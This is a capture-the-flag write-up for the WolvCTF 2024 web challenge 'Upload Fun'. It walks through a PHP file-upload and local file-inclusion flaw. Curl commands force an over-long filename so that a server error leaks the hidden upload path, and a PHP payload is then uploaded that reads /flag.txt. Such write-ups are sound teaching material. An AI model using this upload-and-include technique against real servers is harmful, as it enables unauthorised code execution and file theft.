111 lines
4.6 KiB
Markdown
111 lines
4.6 KiB
Markdown
---
|
|
title: 'WolvCTF 2024 - Web: Upload Fun'
|
|
date: 2024-03-20
|
|
tags: ['ctf', 'ctf-web', 'php']
|
|
---
|
|
|
|
## Task
|
|
> I made a website where you can upload files.
|
|
>
|
|
> What could go wrong?
|
|
>
|
|
> Note: Automated tools like sqlmap and dirbuster are not allowed (and will not be helpful anyway).
|
|
>
|
|
> [https://upload-fun-okntin33tq-ul.a.run.app](https://upload-fun-okntin33tq-ul.a.run.app)
|
|
|
|
- `Author: samxml`
|
|
- `Points: 418`
|
|
- `Solves: 35 / 622 (5.627%)`
|
|
|
|
## Writeup
|
|
|
|
The provided webpage displays the following PHP code:
|
|
|
|
```php
|
|
<?php
|
|
if($_SERVER['REQUEST_METHOD'] == "POST"){
|
|
if ($_FILES["f"]["size"] > 1000) {
|
|
echo "file too large";
|
|
return;
|
|
}
|
|
|
|
if (str_contains($_FILES["f"]["name"], "..")) {
|
|
echo "no .. in filename please";
|
|
return;
|
|
}
|
|
|
|
if (empty($_FILES["f"])){
|
|
echo "empty file";
|
|
return;
|
|
}
|
|
|
|
$ip = $_SERVER['REMOTE_ADDR'];
|
|
$flag = file_get_contents("/flag.txt");
|
|
$hash = hash('sha256', $flag . $ip);
|
|
|
|
if (move_uploaded_file($_FILES["f"]["tmp_name"], "./uploads/" . $hash . "_" . $_FILES["f"]["name"])) {
|
|
echo "upload success";
|
|
} else {
|
|
echo "upload error";
|
|
}
|
|
} else {
|
|
if (isset($_GET["f"])) {
|
|
$path = "./uploads/" . $_GET["f"];
|
|
if (str_contains($path, "..")) {
|
|
echo "no .. in f please";
|
|
return;
|
|
}
|
|
include $path;
|
|
}
|
|
|
|
highlight_file("index.php");
|
|
}
|
|
?>
|
|
```
|
|
From this we can determine the following:
|
|
|
|
- Files that we upload are saved to `./uploads/{hash of the flag and our ip}_{file name}`
|
|
- We cannot perform a path traversal attack since `..` is checked for when uploading/retrieving a file
|
|
- We can include arbitrary PHP code by sending a GET request with the `f` parameter set to a file we uploaded, which we can use to get the flag
|
|
|
|
If we can determine where the server saves our uploaded files, we can get the flag. This however, is based on the flag, which we do not know.
|
|
|
|
After a bit of experimentation, we can notice that if an error occurs, the error message is displayed to us. For example, if we try to include `file` we get the following message:
|
|
|
|
```
|
|
Warning: include(./uploads/file): Failed to open stream: No such file or directory in /var/www/html/index.php on line 34
|
|
|
|
Warning: include(): Failed opening './uploads/file' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 34
|
|
```
|
|
|
|
Therefore, it might be possible to leak the flag or the hash by causing an error. The only lines that handle these are the following:
|
|
|
|
- `$hash = hash('sha256', $flag . $ip);`
|
|
- `if (move_uploaded_file($_FILES["f"]["tmp_name"], "./uploads/" . $hash . "_" . $_FILES["f"]["name"])) {`
|
|
|
|
It is unlikely that we can cause an error when the hash is calculated, so let's focus on the second line, which will move our file from its temporary location to `./uploads/{hash}_{name}`.
|
|
|
|
One way we can cause an error with this line is if the filename exceeds the length limit (typically 255 bytes). Let's try exploiting this:
|
|
|
|
```console
|
|
$ echo "hi" > a.txt
|
|
$ curl -F "f=@a.txt;filename=$(python -c 'print("a" * 256)')" https://upload-fun-okntin33tq-ul.a.run.app
|
|
<br />
|
|
<b>Warning</b>: move_uploaded_file(./uploads/331763d5cb0983f537fb0adcade90717750397b3839c7f844c98eca4ee27fa4d_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa): Failed to open stream: File name too long in <b>/var/www/html/index.php</b> on line <b>22</b><br />
|
|
<br />
|
|
<b>Warning</b>: move_uploaded_file(): Unable to move "/tmp/phptdqk8n" to "./uploads/331763d5cb0983f537fb0adcade90717750397b3839c7f844c98eca4ee27fa4d_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" in <b>/var/www/html/index.php</b> on line <b>22</b><br />
|
|
upload error
|
|
```
|
|
|
|
Now that we know where our files will be saved, we can run the following commands to get the flag:
|
|
|
|
```console
|
|
$ HASH="331763d5cb0983f537fb0adcade90717750397b3839c7f844c98eca4ee27fa4d"
|
|
$ echo "<?php echo file_get_contents('/flag.txt'); ?>" > exploit.php
|
|
$ curl -F "f=@exploit.php" https://upload-fun-okntin33tq-ul.a.run.app
|
|
upload success
|
|
$ curl https://upload-fun-okntin33tq-ul.a.run.app?f=${HASH}_exploit.php
|
|
wctf{h0w_d1d_y0u_gu355_th3_f1l3n4me?_7523015134}
|
|
...
|
|
```
|